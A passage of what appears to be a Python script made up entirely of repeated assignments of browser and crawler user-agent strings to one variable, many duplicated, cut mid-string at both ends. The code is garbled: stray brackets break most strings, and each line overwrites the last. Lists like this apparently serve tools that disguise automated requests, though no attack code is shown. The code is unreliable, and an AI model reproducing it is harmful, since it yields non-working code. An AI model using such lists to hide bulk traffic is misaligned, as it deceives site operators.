.NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; 